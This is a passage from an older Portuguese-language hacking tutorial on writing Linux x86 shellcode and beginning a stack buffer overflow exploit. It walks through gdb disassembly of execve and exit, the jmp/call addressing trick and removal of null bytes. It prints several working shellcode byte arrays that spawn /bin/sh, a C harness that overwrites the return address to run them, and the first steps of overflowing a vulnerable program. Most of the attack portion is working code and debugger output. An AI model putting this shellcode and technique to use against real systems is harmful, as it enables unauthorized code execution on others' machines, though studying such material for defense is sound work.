0x8048427 :  mov    %ebp,%esp
0x8048429 :  pop    %ebp
0x804842a :  ret
0x804842b :  nop
End of assembler dump.

O codigo parece complicado a primeira vista,muitas instrucoes em assmebly,
nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas
em diversos tutoriais internet a fora, inclusive no meu outro sobre
escrita de shellcodes..:)..Vendido meu peixe, vamos prosseguir.A maioria
das coisas voce jah pode saber somente olhando e comparando com as
explicacoes passadas.Mas vejamos:

0x80483fc :     push   %ebp
0x80483fd :   mov    %esp,%ebp
0x80483ff :   push   %ebx

Isso eh o mesmo procedimento inicial descrito na explicacao sobre a
funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do
atual stack pointer o novo frame pointer e depois o empurra no stack.
Continuando:

0x8048400 :   mov    $0xb,%eax

Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde
ao system call execve() na tabela de system calls do sistema.Voce pode
conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso
varia de linux para linux,mas creio que nao.Continuando:

0x8048405 :   mov    0x8(%ebp),%ebx

O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX.
Continuando:

0x8048408 :  mov    0xc(%ebp),%ecx

Copiamos o endereco de comando[] sobre ECX.

0x804840b :  mov    0x10(%ebp),%edx

Copiamos o endereco do ponteiro nulo (NULL) sobre EDX.

0x804840e :  int    $0x80

Aqui nos mudamos para o modo kernel.

Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo
da funcao execve(), esses comandos que seguem abaixo, jah sao mais
complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma
vez que se entra no modo kernel, as intrucoes que seguem "nao fazem"
parte do nosso programa.Se quiser ver como a coisa vai se complicando
digite na linha de comandos do gdb "disassemble __normal_errno_location"
e por aih vai.

O estudo detalhado acima nos dah uma boa base para sabermos como
funciona o processo de execucao de nosso programa shell.c em instrucoes
de "maquina".

Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode.
Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode:

1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria.
   Lembrando que estamos querendo executar esse comando, se fosse outro,
   logico que poderiamos mudar isso.

2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
   por uma word null long.Por que isso? lembra do esquema:
   comando[1] = NULL;
   Se faz necessario isso aqui.

3. Copiar 0xb sobre o registrador EAX.
   Lembrando que de acordo com a tabela de system calls que podemos achar
   em /usr/include/sys/syscall.h, o numero decimal correspondente ao
   syscall execve() eh 11 (0xb).

4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX.

5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX.

6. Copiar o endereco da word null long sobre o registrador EDX.

7. Executar a intrucao int $0x80.

Para facilitar o aprendizado veremos como cada um dos passos citados
acima, no nosso exemplo inicial de shellcode:

1. 0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)

2. 0x804815d :    movl   $0x0,0xfffffffc(%ebp)

3. 0x8048400 :   mov    $0xb,%eax

4. 0x8048405 :   mov    0x8(%ebp),%ebx

5. 0x8048408 :  mov    0xc(%ebp),%ecx

6. 0x804840b :  mov    0x10(%ebp),%edx

7. 0x804840e :  int    $0x80

O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na
construcao  de um  shellcode eficiente.Por  exemplo,para evitar  que o  programa
continue buscando  instrucoes para  o Stack,  caso a  funcao execve()  falhe.Nos
precisaremos usar um artificio que faca com que o programa saia limpamente, caso
haja falha em execve().Sair limpamente significa voltar a linha de comando,  sem
que o programa  busque dados aleatorios  caso execve() falhe.Para  fazermos isso
basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos  isso
da seguinte forma:

Pegamos e compilamos o programa abaixo:

------------------------------------------------------------------------
/* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE
   CASO EXECVE() FALHE
   Compile com: gcc -o saida -static -ggdb saida.c
*/

#include

void main(){
exit(0);
}
-----------------------------------------------------------------------

Compilamos ele entao:
[localhost:/]$ gcc -o saida -static -ggdb saida.c

Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para
vermos como isso fica em asm:

[localhost:/]$gdb saida
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que
queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui).

(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x80483e4 <_exit>:      push   %ebp
0x80483e5 <_exit+1>:    mov    %esp,%ebp
0x80483e7 <_exit+3>:    push   %ebx
0x80483e8 <_exit+4>:    mov    $0x1,%eax
0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx
0x80483f0 <_exit+12>:   int    $0x80
0x80483f2 <_exit+14>:   mov    0xfffffffc(%ebp),%ebx
0x80483f5 <_exit+17>:   mov    %ebp,%esp
0x80483f7 <_exit+19>:   pop    %ebp
0x80483f8 <_exit+20>:   ret
0x80483f9 <_exit+21>:   nop
0x80483fa <_exit+22>:   nop
0x80483fb <_exit+23>:   nop
End of assembler dump.

Podemos facilmente ver algumas coisas, vamos analisar este codigo.

0x80483e4 <_exit>:      push   %ebp
0x80483e5 <_exit+1>:    mov    %esp,%ebp
0x80483e7 <_exit+3>:    push   %ebx

Procedimento inicial, o mesmo esquema descrito para a funcao execve()
acima.Continuando:

0x80483e8 <_exit+4>:    mov    $0x1,%eax

Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero
correspondente ao system call exit() na tabela de system calls.
Continuando:

0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx

Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos
porque logo abaixo.quando virmos algumas linhas de main().

0x80483f0 <_exit+12>:   int    $0x80

Muda para o modo kernel.

Disassemblando main, teremos:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     push   $0x0
0x8048155 :     call   0x804829c
0x804815a :    add    $0x4,%esp
0x804815d :    lea    0x0(%esi),%esi
0x8048160 :    mov    %ebp,%esp
0x8048162 :    pop    %ebp
0x8048163 :    ret
End of assembler dump.

O que nos interessa para entendermos a linha <_exit+9> do codigo asm
de exit() eh somente o seguinte:

0x8048153 :     push   $0x0
0x8048155 :     call   0x804829c

Como o Stack pega os argumento de tras para frente, na linha do nosso
programa saida.c: exit(0), em asm teremos:
push $0x0  -> Empurra 0 sobre o Stack.
call exit  -> Chama a funcao exit().

Isso tudo fica armazenado em:
0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx

Eis aih o porque.
Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas
retornam 0 na saida para indicar que nao possui erros.Se tiver acesso
ao codigo fonte dos programas, verifique, porque isso pode muito bem
mudar.

Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita
no exemplo acima, nossos passos em busca de um shellcode eficiente mudam.
Teremos entao agora:

1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria.

2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
por uma word null long.

3. Copiar 0xb sobre o registrado EAX.

4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado
   EBX.

5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX.

6. Copiar o endereco da null word long sobre o registrador EDX.

7. Executar a instrucao int $0x80.

* Aqui comecao exit().

8. Copiar 0x1 sobre registrado EAX.

9. Copiar 0x0 sobre o registrador EBX.

10.Executar a instrucao $0x80.

Como podemos ver, para a funcao  exit() nao temos muita coisa,senao tres  linhas
apenas, expliquei tudo aquilo acima porque  quero que voce entenda como a  coisa
funciona.Nao vejo como saber que necessitamos  do passo 9, sem sabermos de  onde
vem esse 0x0.
Lembrando  que eh  para Newbies  que escrevo,  nao o  termo Newbie  do livro  "A
Internet e os  Hackers", onde a  unica coisa que  escapa eh a  capa, tem um  bom
ditado para isso:"Nao julgue o livro  pela capa!", quando falo Newbies, sao  sim
pesquisadores, pessoas  com espirito  com fome  de conhecimento,  mas que por um
motivo ou outro,nao  conseguem acesso a  material de nivel.Manisfestos  a parte,
vamos continuando nossa jornada.

Sabemos os passos que devemos seguir, entao iremos agora formar esses
passos  num esquema de codigos asm para facilitar ainda mais nosso
aprendizado.

O esquema seria mais ou menos o seguinte:

movl endereco_da_string, endereco_do_endereco_da_string
movb $0x0, endereco_do_byte_nulo
movl $0x0, endereco_do_nulo
movl $0xb, %eax
movl endereco_da_string, %ebx
leal endereco_da_string, %ecx
leal string_nula, %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh vem aqui.

Podemos  visualizar  que  estamos  bem  proximo  de  conseguir  efetivar   nosso
shellcode.Mas surge um problema,  nos nao sabemos onde  no espaco da memoria  do
programa alvo  nos iremos  exploitar o  codigo(e a  string que  segue ele  serah
colocada.Uma possivel  solucao para  isso, seria  usar as  instrucoes JMP e CALL
para  circular  nosso  codigo.Essas  instrucoes  podem  usar  enderecamento   IP
relativo, que despreza  que nos podemos  saltar para um  offset do IP  atual sem
necessitar saber  o endereco  exato de  onde na  memoria nos  queremos saltar.Se
colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP  para
ela(instrucao CALL), o endereco da string  serah empurrado sobre o Stack como  o
endereco  de retorno(return  address) quando  CALL for  executado.Exato amigo!!
Acontecerah exatamente isto que  voce estah imaginando.Mas para  isso precisamos
copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode
chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm:

jmp offset-para-chamar                  # 2 bytes
popl %esi                               # 1 byte
movl %esi, array-offset(%esi)           # 3 bytes
movb $0x0, nullbyte-offset(%esi)        # 4 bytes
movl $0x0, null-offset(%esi)            # 7 bytes
movl $0xb, %eax                         # 5 bytes
movl %esi, %ebx                         # 2 bytes
leal array-offset(%esi), %ecx           # 3 bytes
leal null-offset(%esi), %edx            # 3 bytes
int $0x80                               # 2 bytes
movl $0x1, %eax                         # 5 bytes
movl $0x0, %ebx                         # 5 bytes
int  $0x80                              # 2 bytes
call offset-para-popl                   # 5 bytes
/bin/sh vem aqui                        # 5 bytes

Analizando bem o esquema acima, veremos algumas mudancas, nao nos
conceitos,mas na sintaxe asm propriamente dita, explico tudo isso no
txt sobre shellcodes,mas abaixo segue uma explicacao simples sobre o
esquema acima:

jmp offset-para-chamar                  # 3 bytes
popl %esi                               # 1 byte

Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito
era saltar para o endereco, nesse caso offset, declarado em
offset-para-chamar. Esse offset eh o endereco de call, apos isso, call
chamarah popl %esi.Continuando:

movl %esi, array-offset(%esi)           # 3 bytes
movb $0x0, nullbyte-offset(%esi)        # 4 bytes
movl $0x0, null-offset(%esi)            # 7 bytes
movl $0xb, %eax                         # 5 bytes
movl %esi, %ebx                         # 2 bytes
leal array-offset(%esi), %ecx           # 3 bytes
leal null-offset(%esi), %edx            # 3 bytes
int $0x80                               # 2 bytes

Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve().
Continuando:

movl $0x1, %eax                         # 5 bytes
movl $0x0, %ebx                         # 5 bytes
int  $0x80                              # 2 bytes

Acima estao os codigos referentes a funcao exit(), descritos nos nossos
passos de 8 a 10.Continuando:

call offset-para-popl                   # 5 bytes
/bin/sh vem aqui                        # 8 bytes

Aih  em cima  podemos ver  a instrucao  call, responsavel  por fazer  o giro  ou
circulo.Essa instrucao  chama a  intrucao popl  lah em  cima.Voce pode  estar se
perguntando  se  esse  giro  nao seria  um  loop  infinito.Na  verdade isso  nao
acontece, lembrando, estamos trabalhando com assembly, como estamos  manipulando
enderecos de memoria, o endereco correspondente a instrucao call que eh  saltada
usando  jmp  no  inicio,  nao  serah  mais  chamado,  logo  nao  existe  um loop
infinito.Acho que as  coisas sao mais  claras para o  pessoal que meche  bem com
"goto". :)

O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah
acontecendo aqui:

Parte inferior                                    Topo da Memoria
da memoria

          buffer         sfp   ret      a       b        c

<---- [JJSSSSSSSSCCss] [ssss] [0xD8]  [0x01]  [0x02]  [0x03]
       ^|^       ^|              |
       |||_______||______________|
        ||_______||
         |________|

Topo do Stack                                     Parte inferior do Stack

Onde:

J -> Refere a intrucao JMP.
C -> Refere a instrucao CALL.
S -> Codigo asm que queremos executar.
s -> Codigo da string que queremos executar ("/bin/sh").

buffer -> Nosso buffer vulneravel a overflow.
sfp -> O frame pointer.
ret -> Endereco de retorno.

A seta indica para onde estah saltando a instrucao.

Espero que tudo tenha clareado mais para voce.Em cima disso, podemos
calcular os offsets necessarios para jmp saltar para call, de call
para popl, do endereco da string para o array, e do endereco da
string p/ a word null long.
Caso alguem possua duvidas de como se descobrir os offsets, lembro
novamente, eh bom aprender assembly!!Mas eu coloquei um esquema bem
detalhado no txt sobre shellcodes.Se quiser ou precisar, de uma olhada
nele.

Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em
um programa C. Somente observe, nao compile ainda.

#include
#include
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}

Existe um probleminha amigo, para que o nosso codigo funcione,
necessitamos declarar ele como uma variavel global, para podermos colocar
nosso codigo no Stack ou Segmento Data(onde teremos permissao de escrita)
,transferindo o controle para ele,pois nosso codigo modifica ele mesmo
e muitos sistemas operacionais marcam paginas de codigos read-only(soh
leitura).Para fazermos isso, necessitamos da representacao hexadecimal
do codigo binario.Vejamos abaixo como fazer isso tudo:

* Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe
  na linha de comando:

[localhost:/]$gcc -o shell -g -ggdb shell.c

* Em seguida executamos o debugador.

[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details. This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

* Agora vem a parte que se exige mais paciencia do fucador.Muita gente
  acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia
  amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal
  correspondente a cada uma da linha de comando.Para fazer isso voce
  digita o seguinte:

(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     jmp    0x804817f
0x8048155 :     pop    %esi
0x8048156 :     mov    %esi,0x8(%esi)
0x8048159 :     movb   $0x0,0x7(%esi)
0x804815d :    movl   $0x0,0xc(%esi)
0x8048164 :    mov    $0xb,%eax
0x8048169 :    mov    %esi,%ebx
0x804816b :    lea    0x8(%esi),%ecx
0x804816e :    lea    0xc(%esi),%edx
0x8048171 :    int    $0x80
0x8048173 :    mov    $0x1,%eax
0x8048178 :    int    $0x80
0x804817a :    call   0x8048150
0x804817f :    das
0x8048180 :    bound  %ebp,0x6e(%ecx)
0x8048183 :    das
0x8048184 :    jae    0x80481ee <__new_exitfn+54>
0x8048186 :    add    %cl,0x90c35dec(%ecx)
End of assembler dump.

Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora
amigo para saber o codigo hexadecimal de cada um desses comandos, voce
terah que digitar o seguinte " x/xb " como no esquema abaixo:

(gdb) x/xb main+3
0x8048153 :     0xeb
(gdb) x/xb main+4
0x8048154 :     0x2a
(gdb) x/xb main+5
0x8048155 :     0x5e
(gdb) x/xb main+6
0x8048156 :     0x89
.
.
.
(gdb) x/xb main+56
0x8048188 :    0xec
(gdb) x/xb main+57
0x8048189 :    0x5d
(gdb) x/xb main+58
0x804818a :    0xc3
(gdb) x/xb main+59
0x804818b :    0x90

Voce comecarah com o indice "main+3" e irah ateh quando chegar o
hexadecimal "0x90" que corresponde a instrucao NOP, que serah vista logo
abaixo (essa linha nao deve entrar no nosso shell code).Caso em outro
shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh
a ultima instrucao da funcao main().

Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa
variavel global, como no esquema abaixo:

/* Exemplo inicial de shellcode
   Compile com: $gcc -o shell1 shell1.c

 */

#include

char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *retorno;
  retorno = (int *)&retorno + 2;
   (*retorno) = (int)shellcode;

}

Depois de compilado voce pode executar ele normalmente, como no exemplo
abaixo:

[localhost:/]$ gcc -o shell1 shell1.c
[localhost:/]$./shell1
bash$ exit
exit

Como voce  pode ver,  ele funciona!Mas  existe um  pequeno probleminha,como  nos
estamos   querendo   executar   nosso    shellcode   atraves   de   um    buffer
overflow,enchendo-o de caracteres,  logo, um byte  nulo em nosso  shellcode irah
ser considerado como o fim da string, e consequentemente serah o fim frustado de
nosso objetivo.Entao necessitados  retirar todos os  bytes nulos(null bytes)  de
nosso shellcode para  que nosso futuro  exploit nao tenha  problemas em executar
seu alvo.Para fazermos  isso, necessitamos conhecer  um basico de  assembly, mas
vejamos como ficaria para nosso exemplo:

Instrucao com null byte                       Trocar por:
------------------------------------------------------------------------
movb $0x0,0x7(%esi)                         xorl %eax,%eax
                                            movb %eax,0x7(%esi)
movl $0x0,0xc(%esi)                         movl %eax,0xc(%esi)
-------------------------------------------------------------------------
movl $0xb,%eax                              movb $0xb,%al
-------------------------------------------------------------------------
movl $0x1,%eax                              xorl %ebx,%ebx
movl $0x0,%ebx                              movl %ebx,%eax
                                            inc  %eax
-------------------------------------------------------------------------

Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar
os null bytes.Veremos entao como fica o nosso codigo apos a substituicao
dos mesmos:

/* Shellcode com sobstituicao dos null bytes */

#include

main(){
__asm__("
jmp 0x1f                                #2 bytes
popl %esi                               #1 byte
movl %esi,0x8(%esi)                     #3 bytes
xorl %eax,%eax                          #2 bytes
movb %eax,0x7(%esi)                     #3 bytes
movl %eax,0xc(%esi)                     #3 bytes
movb $0xb,%al                           #2 bytes
movl %esi,%ebx                          #2 bytes
leal 0x8(%esi),%ecx                     #3 bytes
leal 0xc(%esi),%edx                     #3 bytes
int $0x80                               #2 bytes
xorl %ebx,%ebx                          #2 bytes
movl %ebx,%eax                          #2 bytes
inc %eax                                #1 byte
int $0x80                               #2 bytes
call -0x24                              #5 bytes
.string \"/bin/sh\"                     #8 bytes
");
}

Compilamos entao usando a seguinte sintaxe:
[localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c

Em seguinte usamos o debugador p/ novamente pegarmos o codigo em hexa:
[localhost:/]$gdb shellnova1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     jmp    0x8048174
0x8048155 :     pop    %esi
0x8048156 :     mov    %esi,0x8(%esi)
0x8048159 :     xor    %eax,%eax
0x804815b :    mov    %al,0x7(%esi)
0x804815e :    mov    %eax,0xc(%esi)
0x8048161 :    mov    $0xb,%al
0x8048163 :    mov    %esi,%ebx
0x8048165 :    lea    0x8(%esi),%ecx
0x8048168 :    lea    0xc(%esi),%edx
0x804816b :    int    $0x80
0x804816d :    xor    %ebx,%ebx
0x804816f :    mov    %ebx,%eax
0x8048171 :    inc    %eax
0x8048172 :    int    $0x80
0x8048174 :    call   0x8048155
0x8048179 :    das
0x804817a :    bound  %ebp,0x6e(%ecx)
0x804817d :    das
0x804817e :    jae    0x80481e8 <__new_exitfn+52>
0x8048180 :    add    %cl,0x90c35dec(%ecx)
End of assembler dump.
(gdb) x/xb main+3
0x8048153 :     0xeb
(gdb) x/xb main+4
0x8048154 :     0x1f
(gdb) x/xb main+5
0x8048155 :     0x5e
(gdb) x/xb main+6
0x8048156 :     0x89
(gdb) x/xb main+7
0x8048157 :     0x76
(gdb) x/xb main+8
0x8048158 :     0x08
(gdb) x/xb main+9
0x8048159 :     0x31
.
.
.
0x8048178 :    0xff

Podemos perfeitamente para por aqui e no nosso shellcode no codigo-fonte
acrescentarmos a string /bin/sh que se refere ao que queremos executar.
Fazendo isso teriamos o seguinte shellcode:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Mas se nos quisermos substituir a string /bin/sh por seu correspondente
em hexadecimal, nos devemos continuar pegando os respectivos codigos hexa
pelo debugador, ateh encontrarmos uma intrucao nop que corresponderah ao
fim da funcao main().Vejamos:

Haviamos parado em
Continuando:

(gdb) x/xb main+41
0x8048179 :    0x2f
(gdb) x/xb main+42
0x804817a :    0x62
(gdb) x/xb main+43
0x804817b :    0x69
(gdb) x/xb main+44
0x804817c :    0x6e
(gdb) x/xb main+45
0x804817d :    0x2f
.
.
.
0x8048183 :    0x5d
(gdb) x/xb main+52
0x8048184 :    0xc3
(gdb) x/xb main+53
0x8048185 :    0x90
(gdb) x/xb main+54
0x8048186 :    0x90

Como podemos ver chagamos ateh a instrucao NOP(0x90), logo nao incluiremos
ela em nosso shellcode, devemos entao acrescentar ateh , fazendo
entao nosso shellcode ficar assim:

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

Antes de testarmos esse dito cujo, vou  dar uma breve explicacao do que eh  este
NOP(0x90)  e  porque  usaremos  ele  em  nossos  codigos  de  exploits futuros.A
instrucao NOP  pode ser  considerada como  uma instrucao  vazia, ou uma operacao
nula.Quase todos  os processadores  possuem esta  intrucao e  no nosso  caso, um
sistema linux i386 o hexadecimal correspondente a esta instrucao eh  0x90.Quando
executamos um exploit, necessitamos fazer com que o endereco de retorno  execute
nosso shellcode, mas quando  ele aponta p/ um  endereco com dados diferentes  do
que  de  fato  queremos,  que  eh  o  inicio  do  nosso  shellcode,  ocorre  uma
Segmentation Violation! Ou  simplesmente uma violacao  de segmentacao, e  quando
isto ocorre, nos nao alcancaremos facilmente nosso objeto.A nao ser que chutemos
offsets ateh conseguir achar nosso codigo.Mas isto eh muito trabalhoso, de  modo
que eh mais eficiente enchermos o buffer  com nosso shellcode no meio e o  resto
de NOP's,  isto farah  com que,  se o  retorno apontar  para uma intrucao NOP no
buffer,  irah  percorrer  elas  ateh chegar  ao  inicio  de  nosso shellcode,  e
,consequentemente, executar nosso codigo(shellcode). Quando chegar a parte sobre
escrita de exploits, voce entenderah na pratica o que significa isso.

Podemos agora  testar cada  um desses  dois shellcodes.Voce  pode escolher entre
qualquer um dos dois, como aqui nos estamos vendo o basico do basico, dependendo
das situacoes, um shellcode poderah ser melhor que o outro(Questao de filtros  e
etc..).Bem, mas para  nossos propositos iremos  testar nosso shellcode  usando o
segundo esquema, onde  a string /bin/sh  aparece em formato  hexadecimal.Vejamos
como fica:

/* Simples Exemplo de Shellcode com string /bin/sh em hexa
   Compile com: $gcc -o shellnova2 shellnova2.c */

#include

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

void main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

O esquema na linha de comando seria:
[localhost:/]$ gcc -o shellnova2 shellnova2.c
[localhost:/]$ ./shellnova2
bash$ exit
exit

Como podemos ver perfeitamente, ele funciona bem como queriamos.

Bem amigo, espero que voce tenha  aprendido com esse texto, a escrita  basica de
shellcodes, isso para a maioria das situacao eh mais do que o necessario.Se  nao
deu para  pegar bem,  de uma  olhada no  outro texto  que fiz somente sobre esse
assunto ou mesmo nas home pages que cito no final, pode-se dizer que foi  nestes
textos que aprendi a fazer isso.Lembrando o que disse no texto sobre programacao
em sockets, que espero que tenha lido..:).."SABENDO FAZER UM, O QUE TE IMPEDE DE
FAZER TODOS??".

------------------------------
4 - FAZENDO UM STACK OVERFLOW |
------------------------------

Bem amigo, chegamos a tao  esperada hora! Muitos administradores de  rede tremem
ao ouvir essa palavra, pois sabem o que eh possivel se fazer com isso.A  escrita
de  exploits,  varia  muito,  digo  isso  porque  eh  muito  facil  exploitar um
determinado bug ou um erro de uma  funcao que recebe dados da linha de  comando,
mas eh bem dificil  as vezes quando a  situacao nao eh essa(quando  a funcao nao
recebe dados  da linha  de comando).O  que escreverei  aqui irah interessar duas
classe de programadores de exploits ( ou serah hackers??:) ), de qualquer forma,
a maioria  se limita  a escrever  exploits que  se utilizam  de bugs na linha de
comando,  mas poucos  se atentam  aos outros  tipos.Eh muito  comum dizermos  da
seguranca:"Eles sabem o que eh, mas nao sabem fazer!!" justamente porque eles se
limitam muito a overflows pela linha de comando e afins. Mas deixando o papo  de
lado,  vamos comecar  do basico,  escrevendo um  exploit para  o nosso  primeiro
programa bugado(aquele lah do inicio).

Lah no inicio, eu  coloquei um programa especifico  que enche o buffer  de nosso
programa bugado com  caracteres A, se  recorda? Agora, ao  inves de enchermos  o
buffer com caracters  'A' que soh  poderiam nos dar,quando  muito, um Denial  Of
Service,  encheremos o  buffer com  nosso codigo,  e sobrescreveremos  o return
address(endereco de  retorno) para  que ele  aponte para  o inicio  do buffer  e
consequentemente para o nosso codigo.

Vejamos um esquema antes de fazermos isso:

* Primeiro debugaremos nosso programa bugado usando o gdb.

[localhost:/]$ gdb bug1
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(no debugging symbols found)...
(gdb)

+ Em seguida executamos ele para gerar o buffer overflow.

(gdb) run `perl -e 'printf "A" x 530'`
Starting program: /tmp/bug1 `perl -e 'printf "A" x 530'`
Voce digitou
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA!!
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Prestando atencao, podemos perfeitamente ver que geramos o overflow:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Esse 0x41 se refere aos 'A's, ele eh o numero hexa correspondente ao
caracter A.Fizemos isso mais para demonstrar que o programa possui um
bug e que voce pode perfeitamente descobrir usando o programa gdb.

Agora vem a parte mais seria, vamos pedir ao gdb para nos mostrar aonde
na memoria(em hexa) estah o nosso Stack Pointer atual.Para isso usamos
o seguinte comando:

(gdb) info all-registers
eax            0x0      0
ecx            0x80485bf        134514111
edx            0x3      3
ebx            0x0      0
esp            0xbffff838       0xbffff838
ebp            0x41414141       0x41414141
esi            0x40006394       1073767316
edi            0x8048400        134513664
eip            0x41414141       0x41414141
eflags         0x10246  66118
cs             0x23     35
